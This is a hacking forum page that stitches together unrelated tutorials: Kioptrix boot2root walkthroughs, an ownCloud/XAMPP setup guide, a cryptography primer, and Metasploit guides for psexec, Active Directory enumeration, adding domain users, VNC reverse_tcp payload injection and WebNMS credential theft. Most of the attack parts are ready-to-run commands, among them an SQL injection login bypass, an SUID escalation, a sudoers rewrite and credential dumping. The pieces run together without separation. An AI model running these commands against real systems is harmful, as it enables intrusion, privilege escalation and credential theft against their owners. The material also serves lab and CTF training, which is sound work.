| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,288
» Latest member: r3dh3lls
» Forum threads: 13,082
» Forum posts: 20,980
Full Statistics
|
|
|
| [Guide] How to Hack The Kioptrix Level-1.3 (Boot2Root Challenge) |
|
Posted by: NINZA - 04-24-2020, 01:44 PM - Forum: General Discussion
- No Replies
|
 |
This Kioptrix 4th VM Image is easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games is to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
You can Download it from [To see content please register here] and run install in your VM.
Penetration Methodologies - Network scanning (netdiscover, Nmap)
- Directory brute-force (dirb)
- Login Form SQli
- Spwaning tty shell
- SUID Privilege escalation
- Get root access and capture the flag
Let’s start!!
Turn on your attacking machine and use the netdiscover command to scan your local network to get target IP.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-5b_h8dzvtCw/W0oUtA-0n3I/AAAAAAAAYDw/Bs3K8qHp9VsuwvTS-BlBcYbAt0clCTY2QCLcBGAs/s1600/1.png?w=687&ssl=1)
So we target at 192.168.1.106 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observed several open port and service running on it.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-RuvKkoRuU8U/W0oUtX2U7GI/AAAAAAAAYD4/cJVvlj3DwKgaU84G-CT5WlGxdlYlydujQCLcBGAs/s1600/2.png?w=687&ssl=1)
Since port 80 is open so without wasting time we use dirb for directory brute-force attack and enumerated /john as a directory which could give something valuable to us.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 3.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-xyYNLCQ7EOQ/W0oUt6ouc4I/AAAAAAAAYD8/HFquCD0IpmUWJAFmKFVjCk0E4gXDOmYhwCEwYBhgL/s1600/3.1.png?w=687&ssl=1)
Consequently, we explored URL [To see content please register here] in the web browser and notice john.php file. Awkwardly I didn’t found any treasured from inside this file.
![[Image: 3.2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ULyTTbecdts/W0oUt6QbsyI/AAAAAAAAYEE/PHqhczzsuq8CJqCfyHIKHDJm9lWmRF2ngCEwYBhgL/s1600/3.2.png?w=687&ssl=1)
Further, I came back to its home page and it was login page as shown below. Here we can try SQL injection for login.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-UtxUhIZhPwY/W0oUt3fM2bI/AAAAAAAAYEA/ni1RHRISWg8e59URdgmc5LT02tk_fwfBACEwYBhgL/s1600/3.png?w=687&ssl=1)
So I simply enter the following and get login successfully.
Username: john
Password: ' or 1=1 #
1
2
Username: john
Password: ' or 1=1 #
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CZJAzxi5RH4/W0oUuf0e5CI/AAAAAAAAYEk/9d4gmNblZzsAaQE7QrNkQGHXjfeXqbxngCEwYBhgL/s1600/4.png?w=687&ssl=1)
And welcomed by following web page which serves actual credential for the user “john”
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-h8aLtuLdFdQ/W0oUuj2XJOI/AAAAAAAAYEs/0kVw8zQiHUIiXbkS6FZFMu-X_mlcvjoFwCEwYBhgL/s1600/5.png?w=687&ssl=1)
Since we port 22 is open for ssh and we have enumerated following credential so let’s try to login to access tty shell of victim’s machine and then execute below commands.
Username: john
Password: MyNameIsJohn
echo os.system('/bin/bash')
cd /var/www
1
2
echo os.system('/bin/bash')
cd /var/www
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-bzt6yq4DHQI/W0oUu-Bw3uI/AAAAAAAAYEo/uZC-giP_Wy4CFk2AiHrflLRbasDHB9pewCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then view its file and directory list where you will get checklogin.php file; open it for further step.
ls
cat checklogin.php
1
2
ls
cat checklogin.php
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--JLXGxB9JKA/W0oUu6KsqOI/AAAAAAAAYEs/zEu7GwzJDjcaPytfamHAPn46eX7LfAE_gCEwYBhgL/s1600/8.png?w=687&ssl=1)
By reading it we conclude that MySQL user name is root with No password.
Now let try to login into MySQL server with the help of the following command and try to execute some malicious query through it.
mysql -u root -p
SELECT sys_exec('chmod u+s /usr/bin/find');
echo os.system('/bin/bash')
quit
1
2
3
4
mysql -u root -p
SELECT sys_exec('chmod u+s /usr/bin/find');
echo os.system('/bin/bash')
quit
By the mean of MySQL, we are trying to enable SUID bit for find command.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-v02h2zGsvrs/W0oUve8ECZI/AAAAAAAAYEo/YSKVDfnttvUhzJr7rtyTanQt_KDQx-zfQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Now move to the /tmp directory and execute the following command for root access.
cd /tmp
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
ls
cat congrats .txt
1
2
3
4
5
6
cd /tmp
touch raj
find raj -exec "whoami" \;
find raj -exec "/bin/sh" \;
ls
cat congrats .txt
Yuppieee!!! We finished this task and complete the challenge.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-WrwtbU1OxUg/W0oUtclblmI/AAAAAAAAYEk/bZOqLcMRW5UNMw9ob-gZYI6UpR3uXjQIgCEwYBhgL/s1600/10.png?w=687&ssl=1)
XAMPP is the most popular PHP development environment. XAMPP is a completely free, easy to install Apache distribution containing MariaDB, PHP, and Perl. The XAMPP open source package has been set up to be incredibly easy to install and to use.
Download XAMPP from here:
[To see content please register here] To install XAMPP, run the XAMPP setup and follow the on-screen commands
Once you follow the commands, it will start installing as shown in the given image :
Allow access to XAMPP in windows firewall
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-nNXADZOvXMo/V5RQbCykVgI/AAAAAAAAM70/hK4V7XKIaz8DWJ9VoFUrV22ihM7diMLFgCLcB/s1600/3.png?w=687&ssl=1)
Now, start the XAMPP control panel and in the said panel, start Apache and MySQL services. If the service of Apache is not being started, then that is because the given ports 80 and/or 443 are not free. To change Apache ports, go to ‘Config’ button (next to the admin button in control panel.) And change the 1st and 2nd files.
In the first file, change all ports 80 to 81, and in the second file, change all ports 443 to 444.
Now, go to the installed XAMPP directory and paste the ownCloud server folder in installed directory/htdocs.
Usually, the installed directory is: C:\xampp\htdocs
About ownCloud:
OwnCloud is self-hosted file sync and share server. It provides access to your data through a web interface, sync clients or WebDAV while providing a platform to view, sync and share across devices easily — all under your control. ownCloud’s open architecture is extensible via a simple but powerful API for applications and plug-in and it works with any storage.
Download ownCloud server and client software both from [To see content please register here]
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Dd2ZcFSwfxw/V5TBZW1QygI/AAAAAAAAM98/-U77V0eA0C8VlWlHIdW2303BkNMS6M1TACLcB/s1600/5.png?w=687&ssl=1)
Now, open your web browser and type:
localhost:81/ownCloud (assuming the name of the server is ownCloud)
Type in your admin username and admin password then. Do remember this name and password.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-k1u6cu2G_FY/V5TBZt6LvvI/AAAAAAAAM-E/Oqp_5oCYaT0ndJJPO0rDReiK_vR1wiNPgCLcB/s1600/6.png?w=687&ssl=1)
A popup window will then appear which will tell you that ownCloud clients are available for different mobile phones platform; you might want to check that out as well.
On the right-hand side top you will see your admin name, click on that and a popup window will fall having many options. Click on ‘users’.
You can see a bar on the top of the page, you ought to input your client ID and password. This client ID and password is the key to your cloud files for the client. So, the client will access the files you share with them in the next step with their ID and password that you give them. No one else but admin (that is you) can see all the clients. All you have to do is give your client their ID and password, and they are ready to use ownCloud.
Type in the details and click create.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-xDEEocjQlD8/V5TBafX2isI/AAAAAAAAM-M/PDQJC3hU6v47vEZ-62-Enz_RF80477cbACLcB/s1600/9.png?w=687&ssl=1)
Now once the client is created, go to the home page again and click on the upload button.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-8x_4sj1DEvk/V5TBXoSOSPI/AAAAAAAAM9c/L7EBM2L5LDEIaH2pNeLRp6wAdTu3IFSqACLcB/s1600/10.png?w=687&ssl=1)
Choose a file to upload. I choose a text file and in the same row as your uploaded file there will be an option to share the file on the cloud. Choose that option and fill in the name of the client with which you want to share your file. I input the name of the client as Hacking Articles.
Now, on the client PC, install the ownCloud Desktop client software.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8bf90BiNQt0/V5TBXvTno0I/AAAAAAAAM9Y/iP8bqDYfhpUb9cEtAaUCbSEJww6vj45jwCLcB/s1600/12.png?w=687&ssl=1)
Input the IP address of the server followed by the port and directory.
In my case, the ownCloud client types:
[To see content please register here]
1
[To see content please register here]
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-jHFq0r7PmRs/V5TBYFtv36I/AAAAAAAAM9k/qOo3zr6llK49hjyVr8s0rm6lJkfNwADGACLcB/s1600/13.png?w=687&ssl=1)
Now, the client inputs his/her username and password and connects to the server.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-5_V7qYA0IGU/V5TBYUIVWHI/AAAAAAAAM9o/1aUl5Ng7taww27weCMGKulKk6KoSmMoEwCLcB/s1600/14.png?w=687&ssl=1)
Here, select the owncloud folder which you will find in user in order to data sync.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-3ShelzPXdmo/V5TBYW2GzDI/AAAAAAAAM9s/5ItS0tb2BD0sQ7X8MbE6orPjIzuIP3lhwCLcB/s1600/15.png?w=687&ssl=1)
Then, click on open ownCloud.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-vhqFacWMtSk/V5TBYl7F1-I/AAAAAAAAM9w/_NOUAvmsYeYT0nGgr34MK27z351SCwt7gCLcB/s1600/16.png?w=687&ssl=1)
The client inputs his username and password again.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-P1DT0bDNbgQ/V5TBY877zYI/AAAAAAAAM90/tInwW7NIPwQ-oJv-1n5658dodGuWicG7QCLcB/s1600/17.png?w=687&ssl=1)
In the activity bar, the user can see the file shared by the admin.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-0nsNHE_IwOA/V5TBZEp-7CI/AAAAAAAAM94/HGHFokb1ZvUd5e__gDTpMivhp_rg4G7hACLcB/s1600/18.png?w=687&ssl=1)
Open Kali terminal type nmap -sV 192.168.0.104
you’ll see that port 445 is open, port 445 is a traditional Microsoft networking port. Specifically, TCP port 445 runs Server Message Block(SMB) over TCP/IP. This is a core means for communication on a Microsoft-based LAN
In Kali terminal type msfconsole
This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 192.168.0.104
msf exploit(psexec) > set rport 445
msf exploit(psexec) > set smbuser administrator
msf exploit(psexec) > set smbpass Ignite@123
msf exploit(psexec) > exploit
Find All Active Directory users
This module will enumerate computers included in the primary Domain
msf > use post/windows/gather/enum_ad_computers
msf post(enum_ad_computers) > set filter objectCategory=computer
msf post(enum_ad_computers) > set session 1
msf post(enum_ad_computers) > exploit
Find All Share Folder in Active Directory
This module will enumerate configured and recently used file shares.
msf > post/windows/gather/enum_shares
msf post(enum_shares) > set session 1
msf post(enum_shares) > exploit
Gather All Groups in Active Directory
This module will enumerate Active Directory groups on the specified domain.
msf > use post/windows/gather/enum_ad_groups
msf post(enum_ad_groups) > set session 1
msf post(enum_ad_groups) > exploit
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-OymBCz7IR_U/V5NlMyIgRCI/AAAAAAAAM64/RbatDCrTLuI0wJghKfjByWLR_ixgPLruACLcB/s1600/4.png?w=687&ssl=1)
To Add Any User in Active Directory
This module adds a user to the Domain and/or to a Domain group. It will check if sufficient privileges are present for certain actions and run getprivs for system. If you elevated privs to system,the Se Assign Primary Token Privilege will not be assigned. You need to migrate to a process that is running as system. If you don’t have privs, this script exits.
msf > use post/windows/manage/add_user_domain
msf post(add_user_domain) > set addtodomain true
msf post(add_user_domain) > set username hacker
msf post(add_user_domain) > set password abcd@123
msf post(add_user_domain) > set session 1
msf post(add_user_domain) > exploit
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-tvlvZc14oIs/V5NlH0FtnaI/AAAAAAAAM6o/OaneEUsnCjUSyck-V0lcKSm9H149EyNVACLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-0QAdebDHfAA/V5NlIGXpUQI/AAAAAAAAM6s/KoMGCJzf8Ook-FrXaEXeixKbgLVt53-IQCLcB/s1600/7.png?w=687&ssl=1)
To Delete Any User from Active Directory
This module deletes a local user account from the specified server, or the local machine if no server is given.
msf > use post/windows/manage/delete_user
msf post(delete_user) > set username hacker
msf post(delete_user) > set session 1
msf post(delete_user) > exploit
Hello friends! Today we are going to take another CTF challenge known as Kioptrix: Level1.2 (#3) and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here [To see content please register here]
Penetrating Methodologies (Method 1)- Network Scanning (Nmap, netdiscover)
- Surfing HTTP service port (80)
- SQLMAP Scanning
- Extract databases and user credentials
- SSH access to the target with a specific user
- Exploiting target with SUID bit and SUDO binaries
- Get Root access and capture the flag.
Penetrating Methodologies (Method 2)- Network Scanning (Nmap, netdiscover)
- Surfing HTTP service port (80)
- Identifying exploit for the vulnerable CMS application
- Exploiting the target via Metasploit
- Get Root access and capture the flag.
Lets Breach!
Start off with finding the target using :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-3yYSdgZeNQw/W1Ar1S8_w9I/AAAAAAAAYV0/KhND3lPyMOgMIbO_qPY9Kb9MiPEUUxq9wCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.101 Now scan the target with nmap:
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
With the nmap scan result, you can see that HTTP services are running on 2 ports i.e ports 22,80
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-dvcPh0bkrvU/W1Ar4Ke5fcI/AAAAAAAAYWk/1F09SKVAZn4bKqMC1hcv61Y7d61a09LHACLcBGAs/s1600/2.png?w=687&ssl=1)
As we have HTTP service running we opened it in our browser with the IP [To see content please register here] . There is nothing significant on this webpage.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ewPmdKxuNr4/W1Ar4SZGqTI/AAAAAAAAYWs/jZmN60rM2MsUJFQW_ZNbb0p-0hRyHuppwCLcBGAs/s1600/3.png?w=687&ssl=1)
Click on the Blog option and below page will appear. Here we will get a clue to check out the page
[To see content please register here]
1
[To see content please register here]
![[Image: 4.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-v87m6CYIxVU/W1Ar4ziwVdI/AAAAAAAAYWw/GkRdtyEcyQokSPp3R6qsGgCsn4emdDyJACLcBGAs/s1600/4.1.png?w=687&ssl=1)
Before navigating to the website, let’s map the host entries for the URL kioptrix3.com to IP 192.168.1.101 in the host’s file as follows :
For Windows C:\windows\system32\drivers\etc\hosts
For Linux: /etc/hosts
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pZxYThRZH7U/W1Ar40xmQnI/AAAAAAAAYW0/JisCeLAK5SwboR8JM_q5JdN3uuRtljvUwCLcBGAs/s1600/4.png?w=687&ssl=1)
Browse to the website [To see content please register here] and navigate on a few items
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-w2Ic1ifntB8/W1Ar5fves3I/AAAAAAAAYW4/eZRCGUBcsAkV4XFdgNOAiv1PIOeCbYk7ACLcBGAs/s1600/5.png?w=687&ssl=1)
After navigating through the site, I found that by clicking on sorting options and photo id, the URL had a parameter of “id” which could signify a vulnerability to SQL injection. After putting ‘ after php?id=1 , i.e (by trying with [To see content please register here] ’ ) the SQL error prompt appears. Hence this means that URL is prone to SQL injection.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-b4VLAvwgC7c/W1Ar5UnUfCI/AAAAAAAAYW8/DnEXHSXVTxIxPggQL_Pgm6qcKsIRRQ_PQCLcBGAs/s1600/6.png?w=687&ssl=1)
Lets’ enumerate the databases with SQLMAP command to get more details
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch
1
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch
![[Image: 7.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-e7WH058qHwY/W1Ar5mSd83I/AAAAAAAAYXA/7QeiSoszplsqVgeRGFrEZmO2qOv45VbmgCLcBGAs/s1600/7.1.png?w=687&ssl=1)
Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available on the website.
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump
1
sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump
Upon further scan for the gallery database and specific table dev_accounts, we happen to find out 2 usernames as listed below
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-r7Ad-RKQ498/W1Ar6D_mxuI/AAAAAAAAYXE/YEcnw4-A2tIyfff6gtQWBYB3h-Jq88EvgCLcBGAs/s1600/7.png?w=687&ssl=1)
Perform SSH with the user loneferret as follows:
ssh [email protected]
1
ssh [email protected]
Let’s do the directory listing to find out more details
ls
1
ls
Upon listing, we find that we have 2 files checksec.sh and CompanyPolicy.README. I didn’t find checksec.h file of much help and proceeded to extract the contents of CompanyPolicy.README
cat CompanyPolicy.README
The output of the CompanyPolicy.README file reveals (refer screenshot below), that we may need to perform a sudo for the ht (editor). This may be a clue going forward
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-iAGmNanfwbo/W1Ar6GAonDI/AAAAAAAAYXI/CCTC3rquw8wyeOQ9jj7VYl2Wb9IjtSjLACLcBGAs/s1600/8.png?w=687&ssl=1)
At this moment, let’s also check the contents of the sudo file
sudo –l
1
sudo –l
As per the output, the user loneferret is allowed to run HT Editor as sudo and that there is no password (NOPASSWD) set for this user while executing the command /usr/local/bin/ht
Run the HT Editor as sudo
Note: sudo ht will allow editing any file on the system. Hence we will edit the /etc/sudoers file. Before editing the sudoers file make sure to export TERM so we can use graphical component of our command
export TERM=xterm-color
sudo ht /etc/sudoers
1
2
export TERM=xterm-color
sudo ht /etc/sudoers
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-TxZSL_H0KNs/W1Ar6cIrGyI/AAAAAAAAYXM/bUXbBvPov20f_F77AAITUH58gbCwdkQcQCLcBGAs/s1600/9.png?w=687&ssl=1)
Once done, the HT editor will open up
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-gmddNhIwef4/W1Ar1hGwzOI/AAAAAAAAYV8/gHmpgL3VxsAAy_B8esYM9LNpe4W7q1LOQCLcBGAs/s1600/10.png?w=687&ssl=1)
Press F3 to open the file
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-rHGQ-hLBBfY/W1Ar1gwbduI/AAAAAAAAYV4/PjRJ2CFrmskwiN8k0WVOFfEczsq7yLGQwCLcBGAs/s1600/11.png?w=687&ssl=1)
Below is a snippet of /etc/sudoers file. Edit the file so that we can use sudo without limitations.
Refer the below entry in the file
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
1
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-P7p5CvsBcmo/W1Ar2MYoPgI/AAAAAAAAYWA/Bxnkf_KdGDss2rzIpwjMmaOOsQc-xtuugCLcBGAs/s1600/12.png?w=687&ssl=1)
Now change the entry for the user loneferret as follows
loneferret ALL=(ALL) NOPASSWD: ALL
1
loneferret ALL=(ALL) NOPASSWD: ALL
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-glWlYP7REN4/W1Ar2m4OWYI/AAAAAAAAYWE/mK_WbIK7sSgkkuH9OzlFcSucZFqktyXrACLcBGAs/s1600/13.png?w=687&ssl=1)
Upon changing the contents of the file, let’s run sudo su command from the users’ terminal
sudo su
1
sudo su
Hurrah! we have got the ROOT access !!
cd /root
1
cd /root
On performing the directory listing, we will get the congrats.txt file!
ls
1
ls
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-wzA_4slk2Kk/W1Ar2lJRq5I/AAAAAAAAYWI/upmpJ39R4p0Ggi33wy4tdMExGsIMWHVnwCLcBGAs/s1600/14.png?w=687&ssl=1)
Method 2
Let’s explore another method of performing the same task
curl –v [To see content please register here]
1
curl –v [To see content please register here]
The curl command will provide the details of the website. With this, we also came to know that it is a CMS website as highlighted below in yellow (LotusCMS)
![[Image: 15.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8W-B9lvRbDQ/W1Ar2-XWlxI/AAAAAAAAYWM/4wMOJxngLWUEPVl7ug54Y-o9nm3cdfnwACLcBGAs/s1600/15.1.png?w=687&ssl=1)
Now we will try to search for some exploit available in the Metasploit and fortunately we happen to found the exploit for LotusCMS
searchsploit LotusCMS
To use this exploit simply type the following in Metasploit:
use exploit/multi/http/lcms_php_exec
set rhost 192.168.1.101
set uri /
exploit
1
2
3
4
use exploit/multi/http/lcms_php_exec
set rhost 192.168.1.101
set uri /
exploit
Perform the directory listing and we will observe the gallery folder
ls
1
ls
Now navigate to the gallery folder and perform the directory listing. Here we can see many files.I browsed through many of these files; of which the file gconfig.php seems to be interesting.
cd gallery
ls
1
2
cd gallery
ls
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-1VTD94JPOhM/W1Ar3Mgl4sI/AAAAAAAAYWQ/JdznZZTjT8sgNgeEPWj_Reuw8WIVs04iACLcBGAs/s1600/15.png?w=687&ssl=1)
Now let’s see if we can get some good information from the gconfig.php file
cat gconfig.php
1
cat gconfig.php
The output of the file shows the credentials for the gallery database
Username :root
Password : fuckeyou
1
2
Username :root
Password : fuckeyou
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4fePb1Rvo1E/W1Ar3XZfT7I/AAAAAAAAYWU/kAVAHk0c42oLHJD4rXJ1W7ASz2bqlkGqwCLcBGAs/s1600/16.png?w=687&ssl=1)
Let’s perform dirb for the URL [To see content please register here]
dirb [To see content please register here]
1
dirb [To see content please register here]
With this, we will get information from many directories as shown in the output below. However, the directory phpmyadmin seems to be quite interesting, as it may have some important information to display
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/--jQJBi_5LAo/W1Ar3oOevbI/AAAAAAAAYWY/X5vRmSZI0vQrStYtTtFMXFaKMDn2o9rGQCLcBGAs/s1600/17.png?w=687&ssl=1)
Browse the URL [To see content please register here] and enter the credentials (received from above)
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NWLQTkgUU44/W1Ar3-x-t7I/AAAAAAAAYWc/lfbmxXMG5vAB4RSt9I_HDHbxVApzwz3gwCLcBGAs/s1600/18.png?w=687&ssl=1)
Navigate to the gallery database, click on dev_accounts. Then click on the SQL tab and enter the SQL query below. We now have the usernames and password hashes!
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Q6UYR9GmnHo/W1Ar37bm0YI/AAAAAAAAYWg/dZKaPPTCadsYOiGF3MWNmjargn3DUau4wCLcBGAs/s1600/19.png?w=687&ssl=1)
For cracking the password hashes, we used the [To see content please register here] site
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MnuqSHFN3X8/W1Ar4Xj5RbI/AAAAAAAAYWo/wrhG3c2wxJgzyW-dVryS8imiwMdJx-RfwCLcBGAs/s1600/20.png?w=687&ssl=1)
Hurray! We got the passwords as starwars and Mast3r!
|
|
|
|
| [Guide] How to Capture VNC Session of Remote Windows PC by Payloads Injection |
|
Posted by: NINZA - 04-24-2020, 01:37 PM - Forum: General Discussion
- No Replies
|
|
This article contains the post-exploitation method. To run following commands successfully first take a session of meterpreter and then follow the commands
In this digital era, more and more people are becoming aware of security and all the companies take the responsibility to increase their security. Hence, technology is being upgraded every single second. Therefore, it is becoming difficult to hack modern technology. But where there is will; there is a way.
We all know that every problem comes with a solution, and so is our following problem:
While taking control over our victim’s PC, often due to security measures some of our commands do not work such as run vnc and so, we might come across such error:
In such a case, there is a special payload, especially for vnc. Whenever you face such problem use following exploit:
use windows/manage/payload_inject
msf exploit (payload_inject)>set payload windows/vncinject/reverse_tcp
msf exploit (payload_inject)>set lhost 192.168.1.109
msf exploit (payload_inject)>set session 1
msf exploit (payload_inject)>set handler true
msf exploit (payload_inject)>exploit
1
2
3
4
5
6
use windows/manage/payload_inject
msf exploit (payload_inject)>set payload windows/vncinject/reverse_tcp
msf exploit (payload_inject)>set lhost 192.168.1.109
msf exploit (payload_inject)>set session 1
msf exploit (payload_inject)>set handler true
msf exploit (payload_inject)>exploit
After executing you can see the following result:
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-8qLT-4P5B9U/XGlekmQwQyI/AAAAAAAAcvI/6OHgawMjrGgL1Gdzx6arYdMMjh0uLiuUgCLcBGAs/s1600/3.png?w=687&ssl=1)
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is a unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux.
Exploit Targets
WebNMS Framework Server 5.2
Requirement
Attacker: kali Linux
Victim PC: WebNMS Framework Server 5.2
Open Kali terminal type msfconsole
Now type use auxiliary/admin/http/webnms_cred_disclosure
msf exploit (webnms_cred_disclosure)>set rhost 192.168.0.103 (IP of Remote Host)
msf exploit (webnms_cred_disclosure)>set rport 9090
msf exploit (webnms_cred_disclosure)>exploit
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-1vgUnQ62cro/V5D0cDrnreI/AAAAAAAAM5s/IfSRRfvL0uMChVuiNBP2QQ3uKPIFZpUPwCLcB/s1600/1.png?w=687&ssl=1)
Cryptography is a conversion of plain readable text into an unreadable form. In cryptography first, the data is converted into ciphertext (that is encryption) and then the ciphertext is converted back into readable form (that is decryption). Cryptography basically works on the concept of encryption and decryption. Encryption and decryption should not be confused with encoding and decoding, in which data is converted from one form to another but is not deliberately altered so as to conceal its content. Encryption is achieved through the algorithms. These algorithms are works with logic, mathematics calculations and its complexities.
Encryption: Encrypted data is referred to as ciphertext. Cyphertext is a conversion of readable text into an unreadable form. It is the most effective way to achieve data security. To read an encrypted file, you must have access to a secret key or password that enables you to decrypt it.
Decryption: Decryption is the process of converting encrypted data back into its original form, so it can be understood. To decrypt the data one needs a secret key or password so it can be decrypted.
Encryption can be done in three ways:
- Symmetric
- Asymmetric
- Hash
Symmetric: Symmetric encryption’s job is to take readable data, scramble it to make it unreadable, then unscramble it again when it’s needed. It’s generally fast, and there are lots of good encryption methods to choose from. The most important thing to remember about symmetric encryption is that both sides—the encrypter, and the decrypter—need access to the same key.
Asymmetric: Asymmetric encryption also takes readable data, scrambles it, and unscrambles it again at the other end, but there’s a twist: a different key is used for each end. Encrypters use a public key to scramble the data, and decrypters use the matching private (secret) key on the other end to unscramble it again.
Hash: Hashing is what is actually happening when you hear about passwords being “encrypted”. Strictly speaking, hashing is not a form of encryption, though it does use cryptography. Hashing takes data and creates a hash out of it, a string of data with three important properties : the same data will always produce the same hash, it’s impossible to reverse it back to the original data, given knowledge of only the hash, it’s infeasible to create another string of data that will create the same hash (called a “collision” in crypto parlance). hash is to authenticate otherwise clearly-transmitted data using a shared secret (effectively, a key.) The hash is generated from the data and this secret so that only the data and the hash are visible; the shared secret is not transmitted and it thus becomes infeasible to modify either the data or the hash without such modification being detected.
Now, there are very simple methods to achieve cryptography in our day to day life so that our data sharing can be done securely.
For Symmetric encryption we can simply visit the website: [To see content please register here] , shown below :
On this website in the first box writing your message and in the second box give your password and then click on the encrypt button on the right side.
The website will now reload itself and will provide you with the encrypted text. Send this encrypted text to the desired person and tell them the key (which, in this case, is time).
The said person, after receiving your encrypted message, can come on this website to decrypt it. He/She will simply have to copy the encrypted text and paste it on the first box and enter the key in the next box and click on the decrypt button on the right side as shown below :
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-eXIIGhDwfS0/V4-yBYPKFbI/AAAAAAAAM5E/lwL-nv_bOJwslZMcbLX5ZiljjPoR2qIzgCLcB/s1600/4.png?w=687&ssl=1)
After clicking on decrypt the site will reload itself and will provide you with plain text.
